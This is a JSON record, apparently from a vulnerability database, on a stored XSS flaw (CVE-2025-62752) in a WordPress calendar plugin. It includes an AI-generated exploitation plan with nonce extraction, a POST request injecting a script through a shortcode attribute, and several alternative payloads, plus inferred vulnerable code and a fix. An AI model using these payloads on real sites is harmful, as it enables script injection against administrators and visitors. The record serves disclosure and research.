[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fu-JgSfH3mF8W-86-Gqof1BGpPbNEimHBAb47Nd5qvtI":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":22,"research_verified":23,"research_rounds_completed":24,"research_plan":25,"research_summary":26,"research_vulnerable_code":27,"research_fix_diff":28,"research_exploit_outline":29,"research_model_used":30,"research_started_at":31,"research_completed_at":32,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":23,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":23,"source_links":33},"CVE-2025-62752","calendaronline-kalenderdigital-authenticated-contributor-stored-cross-site-scripting-2","Calendar.online \u002F Kalender.digital \u003C= 1.0.13 - Authenticated (Contributor+) Stored Cross-Site Scripting","The Calendar.online \u002F Kalender.digital plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 1.0.13 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","kalender-digital",null,"\u003C=1.0.13","1.0.14","medium",6.4,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2025-12-31 00:00:00","2026-02-10 20:42:32",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fc8e1bc48-98ff-48f0-b3b3-4032dc3ac3f1?source=api-prod",42,[],"researched",false,3,"# Exploitation Research Plan: CVE-2025-62752 (Stored XSS in Kalender.digital)\n\n## 1. Vulnerability Summary\nThe **Calendar.online \u002F Kalender.digital** plugin for WordPress (versions \u003C= 1.0.13) is vulnerable to **Stored Cross-Site Scripting (XSS)**. The vulnerability exists because the plugin fails to properly sanitize or escape user-controlled attributes within its shortcode implementation. Authenticated users with **Contributor-level** permissions or higher can exploit this by embedding a malicious shortcode into a post or page. When other users (including administrators) view the affected content, the injected script executes in their browser context.\n\n## 2. Attack Vector Analysis\n- **Endpoint:** WordPress Post Editor (`\u002Fwp-admin\u002Fpost.php` or `\u002Fwp-admin\u002Fpost-new.php`)\n- **Vulnerable Component:** Shortcode handler for `[kalender-digital]` or `[calendar-online]`.\n- **Attack Parameter:** Shortcode attributes (specifically `url` or potentially `height`\u002F`width`).\n- **Required Authentication:** Authenticated (Contributor-level or above).\n- **Preconditions:** The plugin `kalender-digital` must be active.\n\n## 3. Code Flow (Inferred)\n1. **Shortcode Registration:** The plugin registers a shortcode in the main plugin file or an included class:\n   ```php\n   add_shortcode('kalender-digital', 'kalender_digital_shortcode_callback');\n   ```\n2. **Attribute Processing:** The callback function `kalender_digital_shortcode_callback($atts)` processes attributes:\n   ```php\n   $atts = shortcode_atts(array(\n       'url'    => '',\n       'height' => '600px',\n   ), $atts);\n   ```\n3. **Sink (Vulnerability):** The code constructs an HTML string (likely an `\u003Ciframe>`) using the raw `$atts['url']` without passing it through `esc_url()` or `esc_attr()`:\n   ```php\n   \u002F\u002F VULNERABLE CODE EXAMPLE\n   return '\u003Ciframe src=\"' . $atts['url'] . '\" style=\"width:100%;height:' . $atts['height'] . ';\">\u003C\u002Fiframe>';\n   ```\n4. **Execution:** The malicious string is returned to WordPress and rendered in the post content. An attacker can break out of the `src` attribute using `\">\u003Cscript>...`.\n\n## 4. Nonce Acquisition Strategy\nWhile the XSS itself is triggered upon viewing, the *injection* requires saving a post as a Contributor. This requires a standard WordPress post-editing nonce.\n\n1. **Step 1:** Log in as a Contributor.\n2. **Step 2:** Navigate to the \"Add New Post\" page: `\u002Fwp-admin\u002Fpost-new.php`.\n3. **Step 3:** Use `browser_eval` to extract the required nonces and the post ID.\n   - **Post Nonce:** `document.querySelector('#_wpnonce').value`\n   - **Sample Nonce Key:** `_wpnonce`\n4. **Alternative:** If the plugin has a specific settings page accessible to Contributors (e.g., `\u002Fwp-admin\u002Fadmin.php?page=kalender-digital-settings`), check for nonces localized in the source:\n   - `browser_eval(\"window.kalender_digital_params?.nonce\")` (Inferred)\n\n## 5. Exploitation Strategy\nThe goal is to inject a script that will execute when an Administrator views the post.\n\n### Step 1: Create a Draft Post with Payload\nSend a `POST` request to save a new draft containing the malicious shortcode.\n\n- **URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fpost.php`\n- **Method:** `POST`\n- **Content-Type:** `application\u002Fx-www-form-urlencoded`\n- **Parameters:**\n    - `action`: `editpost`\n    - `post_ID`: `[NEW_POST_ID]`\n    - `_wpnonce`: `[EXTRACTED_NONCE]`\n    - `post_title`: `Calendar Test`\n    - `content`: `[kalender-digital url='\">\u003Cscript>alert(document.domain)\u003C\u002Fscript>']`\n    - `post_status`: `draft`\n\n### Step 2: Trigger the XSS\nLog in as an **Administrator** and navigate to the \"Posts\" menu or view the preview of the draft created in Step 1.\n\n- **URL:** `http:\u002F\u002Flocalhost:8080\u002F?p=[POST_ID]&preview=true`\n\n## 6. Test Data Setup\n1. **Plugin:** Install and activate `kalender-digital` version 1.0.13.\n2. **User:** Create a user with the **Contributor** role.\n3. **Verification Page:** Ensure the site allows shortcodes in posts (default WordPress behavior).\n\n## 7. Expected Results\n- When the Administrator views the post preview, the `iframe` tag will be rendered as:\n  ```html\n  \u003Ciframe src=\"\">\u003Cscript>alert(document.domain)\u003C\u002Fscript>\" ...>\u003C\u002Fiframe>\n  ```\n- A JavaScript alert box displaying the domain name will appear, confirming successful execution.\n\n## 8. Verification Steps\n1. **Check Database:** Verify the shortcode is stored in the `wp_posts` table:\n   ```bash\n   wp db query \"SELECT post_content FROM wp_posts WHERE post_title='Calendar Test' LIMIT 1;\"\n   ```\n2. **Inspect Response:** Use `http_request` as an Admin to fetch the post content and check for the unescaped script:\n   ```bash\n   # Look for the raw script tag in the HTML response\n   grep -C 5 \"\u003Cscript>alert\" response_body.html\n   ```\n\n## 9. Alternative Approaches\nIf the `url` attribute is partially sanitized (e.g., keywords blocked), try attribute breakout via event handlers:\n- **Payload 1 (Attribute Breakout):** `[kalender-digital url='x\" onmouseover=\"alert(1)\" style=\"display:block;width:1000px;height:1000px;']`\n- **Payload 2 (Protocol Hijack):** `[kalender-digital url='javascript:alert(1)']` (This works if the sink is specifically a `src` or `href` attribute without `esc_url`).\n- **Payload 3 (Iframe Injection):** If `url` is escaped but `height` is not: `[kalender-digital url=\"https:\u002F\u002Fexample.com\" height='100px\";>\u003Cscript>alert(1)\u003C\u002Fscript>']`.","The Calendar.online \u002F Kalender.digital plugin for WordPress (\u003C= 1.0.13) is vulnerable to Stored Cross-Site Scripting via its shortcode attributes. Authenticated users with Contributor-level access can inject arbitrary web scripts into pages by crafting malicious attributes within the [kalender-digital] shortcode, which are rendered without proper sanitization in an iframe context.","\u002F\u002F kalender-digital.php (inferred shortcode handler)\n$atts = shortcode_atts(array(\n    'url'    => '',\n    'height' => '600px',\n), $atts);\n\n\u002F\u002F ...\n\nreturn '\u003Ciframe src=\"' . $atts['url'] . '\" style=\"width:100%;height:' . $atts['height'] . ';\">\u003C\u002Fiframe>';","--- kalender-digital.php\n+++ kalender-digital.php\n@@ -10,1 +10,1 @@\n-return '\u003Ciframe src=\"' . $atts['url'] . '\" style=\"width:100%;height:' . $atts['height'] . ';\">\u003C\u002Fiframe>';\n+return '\u003Ciframe src=\"' . esc_url($atts['url']) . '\" style=\"width:100%;height:' . esc_attr($atts['height']) . ';\">\u003C\u002Fiframe>';","1. Authenticate to the WordPress site with a Contributor-level account or higher.\n2. Create a new post or edit an existing draft.\n3. Embed a shortcode with a payload designed to break out of the HTML attribute, for example: [kalender-digital url='\">\u003Cscript>alert(document.domain)\u003C\u002Fscript>'].\n4. Save the post and either preview it or wait for an administrator to view the post.\n5. Upon viewing, the unescaped 'url' attribute closes the iframe's 'src' attribute and executes the injected script in the user's browser context.","gemini-3-flash-preview","2026-05-21 08:55:50","2026-05-21 08:56:32",{"type":34,"vulnerable_version":35,"fixed_version":9,"vulnerable_browse":36,"vulnerable_zip":37,"fixed_browse":9,"fixed_zip":9,"all_tags":38},"plugin","1.0.10","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fkalender-digital\u002Ftags\u002F1.0.10","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fkalender-digital.1.0.10.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fkalender-digital\u002Ftags"]